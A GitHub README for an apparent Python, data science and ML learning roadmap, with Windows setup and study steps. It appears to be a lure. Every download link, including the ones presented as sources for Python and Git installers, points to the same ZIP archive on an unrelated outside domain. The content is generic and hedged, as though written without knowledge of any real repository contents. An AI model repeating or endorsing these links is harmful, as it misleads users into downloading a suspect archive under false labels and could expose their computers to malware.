Skip to content

lanetteloaded524/python-ds-ml-roadmap

Repository files navigation

🐍 python-ds-ml-roadmap - Learn Python to ML With Clarity

Download

πŸ“˜ What this is

python-ds-ml-roadmap is a hands-on learning path for Python, data science, machine learning, deep learning, and MLOps. It uses notebooks, small projects, and cheat sheets to help you learn step by step.

This repo is built for people who want a clear path from the basics to real ML work. You can use it to study Python, test code in Jupyter Notebook, and build simple models with tools like scikit-learn, PyTorch, and FastAPI.

πŸ–₯️ What you need

Use this on a Windows PC with:

  • Windows 10 or Windows 11
  • A web browser
  • Internet access
  • At least 4 GB RAM
  • 10 GB free disk space
  • Python 3.10 or newer
  • Jupyter Notebook or JupyterLab

If you plan to run deep learning notebooks, 8 GB RAM or more helps.

πŸ“₯ Download and open the project

  1. Visit this page to download the project:
    https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip

  2. On the GitHub page, choose one of these options:

    • Click Code
    • Click Download ZIP
    • Save the file to your computer
  3. Find the ZIP file in your Downloads folder.

  4. Right-click the ZIP file and choose Extract All.

  5. Open the extracted folder named python-ds-ml-roadmap.

βš™οΈ Set up on Windows

Follow these steps if you want to run the notebooks on your own computer.

1. Install Python

  1. Go to https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip
  2. Download the latest Python 3 release for Windows
  3. Run the installer
  4. Check the box for Add Python to PATH
  5. Select Install Now

2. Install Git, if you want easier updates

  1. Go to https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip
  2. Download Git for Windows
  3. Run the installer
  4. Keep the default settings

Git is useful if you want to pull new changes later.

3. Open Command Prompt

  1. Press Windows + R
  2. Type cmd
  3. Press Enter

4. Go to the project folder

Use the cd command to move into the folder you extracted.

Example:

cd Downloads\python-ds-ml-roadmap

5. Create a virtual environment

Run:

python -m venv .venv

Then activate it:

.venv\Scripts\activate

You should see (.venv) in the command line.

6. Install the tools you need

If the repo includes a requirements file, run:

pip install -r requirements.txt

If there is no requirements file, install the common tools used in this roadmap:

pip install notebook jupyterlab numpy pandas matplotlib seaborn scikit-learn tensorflow torch transformers fastapi uvicorn

πŸš€ Start Jupyter Notebook

Once the tools are installed, start Jupyter Notebook with:

jupyter notebook

Or start JupyterLab with:

jupyter lab

A browser window should open. If it does not, copy the local address from the command line and paste it into your browser.

🧭 How to use the roadmap

This project is set up as a learning path. Start at the beginning and move in order.

A good study flow is:

  1. Python basics
  2. Data types and control flow
  3. Functions and file work
  4. NumPy and pandas
  5. Data cleaning
  6. Data charts
  7. Machine learning basics
  8. Model training and testing
  9. Deep learning basics
  10. NLP work
  11. FastAPI for model serving
  12. MLOps and project setup

If the repo has notebooks for each topic, open them one by one and run each cell. Change small parts of the code so you can see how the result changes.

πŸ“š What you will find inside

This roadmap usually includes:

  • Beginner Python lessons
  • Notebook-based practice
  • Data science cheat sheets
  • Machine learning examples
  • Deep learning exercises
  • NLP notebooks
  • FastAPI examples for simple APIs
  • MLOps notes and project ideas
  • Practice tasks and mini projects

πŸ› οΈ Common tasks

Run a notebook

Open the notebook file, then click Run on each cell.

Install a package

Use:

pip install package-name

Example:

pip install pandas

Save your work

Jupyter saves notebooks as .ipynb files. Keep your work inside the project folder so it is easy to find later.

Update the project

If you used Git, go to the project folder and run:

git pull

πŸ§ͺ Suggested learning order

If you are new to coding, follow this order:

Step 1: Learn Python

Focus on:

  • variables
  • strings
  • lists
  • loops
  • if statements
  • functions

Step 2: Learn data work

Focus on:

  • NumPy arrays
  • pandas DataFrames
  • sorting
  • filtering
  • missing values

Step 3: Learn charts

Focus on:

  • line charts
  • bar charts
  • scatter plots
  • histograms

Step 4: Learn machine learning

Focus on:

  • train and test split
  • regression
  • classification
  • metrics
  • overfitting

Step 5: Learn deeper topics

Focus on:

  • neural networks
  • text work
  • model serving
  • simple deployment steps

🧰 Useful files and tools

You may see files like:

  • .ipynb β€” Jupyter notebooks
  • .py β€” Python scripts
  • requirements.txt β€” package list
  • README.md β€” project guide
  • folders for notebooks, datasets, or notes

Useful tools for this repo:

  • Jupyter Notebook for running lessons
  • VS Code for viewing files
  • Anaconda if you want a bundled Python setup
  • pip for installing packages

🧩 If something does not run

If a notebook will not open or a cell fails, check these points:

  • Python is installed
  • The virtual environment is active
  • Required packages are installed
  • You are in the right folder
  • The notebook kernel matches your environment

If your browser does not open Jupyter, look in the terminal for a local link that starts with http://127.0.0.1: and open it in your browser.

πŸ”Ž Topics covered

This roadmap is useful for learning:

  • Python
  • data science
  • machine learning
  • deep learning
  • NLP
  • scikit-learn
  • PyTorch
  • FastAPI
  • Jupyter Notebook
  • MLOps
  • cheat sheets
  • tutorials
  • beginner-friendly study paths

πŸ“Œ Best way to study

Use short study sessions and keep notes as you go.

A simple method is:

  • Read one notebook
  • Run the code
  • Change one value
  • Watch what happens
  • Write down what you learned
  • Repeat with the next topic

This helps you build skill without guessing.

πŸ”— Download again

If you need the project files again, use this link:
https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip

πŸ—‚οΈ Example folder layout

You may see a structure like this after download:

  • notebooks/
  • cheatsheets/
  • projects/
  • datasets/
  • README.md

If the repo uses a different layout, follow the notebook files in the order they appear

🧠 Skills you can build here

With regular use, you can learn how to:

  • write Python code
  • clean data
  • explore tables
  • make charts
  • train models
  • test model quality
  • build simple APIs
  • understand basic MLOps steps

🏁 First thing to open

After download, open the main notebook or the first folder that starts the learning path. If you see a file named like 01-intro.ipynb, python-basics.ipynb, or roadmap.ipynb, start there and move through the files in order

About

Learn Python data science and machine learning with hands-on notebooks, cheat sheets, and a production ML roadmap

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors